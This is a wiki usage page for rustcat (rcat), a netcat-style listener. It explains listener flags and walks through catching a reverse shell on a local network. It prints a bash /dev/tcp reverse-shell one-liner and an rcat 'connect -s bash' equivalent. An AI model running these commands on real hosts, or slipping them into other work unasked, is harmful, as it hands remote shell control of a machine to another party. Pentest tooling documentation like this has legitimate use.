Skip to content
Elliot edited this page Aug 15, 2022 · 10 revisions

Usage

rcat [SUBCOMMAND] [FLAGS] [OPTIONS]

Examples:

Basic reverse shell on lan

First, lets start a tcp listener with command history. rcat listen -ib 55660.
Then we can start a reverse shell on the host machine, but first we will have to grab our local ip.

ip addr

Output:
1: wlp3s0: <stuff>
    inet 192.168.1.150/24

For me, my local IP is 192.168.1.150
Now you may run one of these commands on the host machine, you can also use any other revshell.
Replace "hostip" with the local IP we got from the command above and set the "port" to anything between 1 - 65535. Tho some ports may already be in use.

>> /bin/bash -c 'bash -i >& /dev/tcp/hostip/port 0>&1'
Or with rustcat
>> rcat connect -s bash hostip port

Once you run that on the host machine, you should have a reverse shell with history.

Docs:

Show the help

rcat --help

Listen to port 55660 on localhost

rcat listen 55660

Listen to port 55660 on 0.0.0.0 with command history & command completion & ctrl-c blocking:

rcat listen -ib 55660

Listen to port 55660 on localhost with command history & command completion and start a bash with interactive mode on connection recieved:

rcat listen -ie "/bin/bash -i" 55660

Listen to port 55660 on 0.0.0.0 with local interactive mode:

rcat listen -l 55660

Listen to port 55660 on specified IP (192.168.1.10) :

rcat listen 192.168.1.10 55660

Create a bash reverse shell listening on port 55660 on specified IP (192.168.1.10):

rcat connect -s bash 192.168.1.10 55660

Note:

There are aliases for the subcommand, so you only need to type out "c" or "l" instead of "connect" and "listen". Examples:

rcat l 55600
rcat c -s bash 55600